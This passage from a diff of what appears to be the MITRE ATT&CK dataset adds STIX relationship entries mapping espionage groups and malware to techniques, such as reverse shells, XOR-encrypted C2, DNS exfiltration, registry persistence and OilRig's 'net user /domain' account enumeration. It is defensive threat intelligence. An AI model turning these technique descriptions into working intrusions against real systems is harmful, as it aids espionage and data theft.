"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "modified": "2019-07-11T13:53:05.911Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Before being appended to image files, [HAMMERTOSS](https://attack.mitre.org/software/S0037) commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ebc8829-f260-4d75-817a-cd23a4ebb194", + "external_references": [ + { + "source_name": "FireEye APT29", + "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use nbtscan to discover vulnerable systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69682171-e717-4af7-a24a-06a39f381641", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.179Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can delete files that may interfere with it executing. It also can delete temporary files and itself after the initial script executes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8bceb4a-0cf2-43c9-9729-20ed706c4c72", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.", + "type": "relationship", + "created": "2017-05-31T21:33:27.067Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--170e2f76-5b6a-4eee-8ea4-d1171368b4a9", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.784Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) network traffic can communicate over a raw socket.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cef7d272-ee0c-4379-9d7b-63adf1f40252", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has used a keylogger.", + "type": "relationship", + "created": "2017-05-31T21:33:27.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37c94531-1e56-4640-93fd-e9fd65da4f80", + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "modified": "2019-01-31T18:48:52.055Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) communicates with its C2 servers through a TCP socket.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acd19f55-0911-4cab-a27d-a962f63d2a66", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can lists information about files in a directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aef68e46-d1e1-49b9-aade-6c1bf226e053", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate network information, including information about trusts, zones, and the domain.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--319189e0-9db0-46f8-9386-0d909db94a46", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.562Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:24:32.359Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--15aa00d1-11c0-4be1-a900-ede5e1376110", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Chaos](https://attack.mitre.org/software/S0220) provides a reverse shell connection on 8338/TCP, encrypted via AES.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4847b10f-f9da-4a35-8df8-e235c6244ba2", + "external_references": [ + { + "source_name": "Chaos Stolen Backdoor", + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ], + "modified": "2019-05-10T18:57:53.144Z", + "source_ref": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the victim LAN IP address and sends it to the C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1", + "external_references": [ + { + "source_name": "Forcepoint Felismus Mar 2017", + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) installs a registry Run key to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c359d18-06fc-4db1-9b58-6e85fa563066", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5bda4ebe-cd21-469e-9495-952df7254f17", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.243Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to network shares.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1539eaf6-e4ea-4e9d-af2b-2594d1ca5b38", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:15.997Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) has a command to delete files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--553e41ba-f8e6-408c-bdbd-f46246124df6", + "external_references": [ + { + "source_name": "ASERT InnaputRAT April 2018", + "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.", + "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) registers itself as a service on the victim\u2019s machine to run as a standalone process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d6984fc-52cb-429b-9e68-64e656d9ad30", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.233Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) uses the Microsoft [Tasklist](https://attack.mitre.org/software/S0057) utility to list processes running on systems.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fbf92c8-747b-4c0f-ab33-ce63cbff8197", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "modified": "2019-03-22T20:09:34.753Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript that communicates over HTTP or HTTPS to attacker controlled domains to download additional frameworks. The group has also used email for C2 via an Office macro. The group's backdoor can also exfiltrate data by encoding it in the subdomain field of DNS packets.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79057890-3cd0-4124-8b35-b86db6b4f9d7", + "external_references": [ + { + "source_name": "Volexity OceanLotus Nov 2017", + "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.187Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:30:59.088Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--93642a19-cc8f-4298-9398-8d5d029fe53d", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) saves one of its files as mpr.dll in the Windows folder, masquerading as a legitimate library file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fabd053f-487c-404f-b1b0-b090e442ff83", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:29:14.925Z", + "type": "relationship", + "id": "relationship--b003a96b-81f7-436c-99a6-a25323f759ac", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s code may be obfuscated through structured exception handling and return-oriented programming.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--291b7fbf-5b5f-460a-8009-cadb383b3262", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[httpclient](https://attack.mitre.org/software/S0068) encrypts C2 content with XOR using a single byte, 0x12.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b3d2b2f-73f4-4fef-9cb9-b11db3eb4c4f", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If [NETEAGLE](https://attack.mitre.org/software/S0034) does not detect a proxy configured on the infected machine, it will send beacons via UDP/6000. Also, after retrieving a C2 IP address and Port Number, [NETEAGLE](https://attack.mitre.org/software/S0034) will initiate a TCP connection to this socket. The ensuing connection is a plaintext C2 channel in which commands are specified by DWORDs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b41abaa3-a21f-4d2c-9c60-c90c4f360b00", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After copying itself to a DLL file, a variant of [Elise](https://attack.mitre.org/software/S0081) calls the DLL file using rundll32.exe.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--37ab6b56-033c-4cb6-8d1b-e7ff5dcf668d", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.831Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can perform keylogging.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c1ed0848-df59-4cd1-8e39-a0d87002c652", + "external_references": [ + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run net user, net user /domain, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to get account listings on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f5af879-c239-416b-99ec-b46e2f9926a2", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:30.077Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has a tool that exfiltrates data over the C2 channel.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 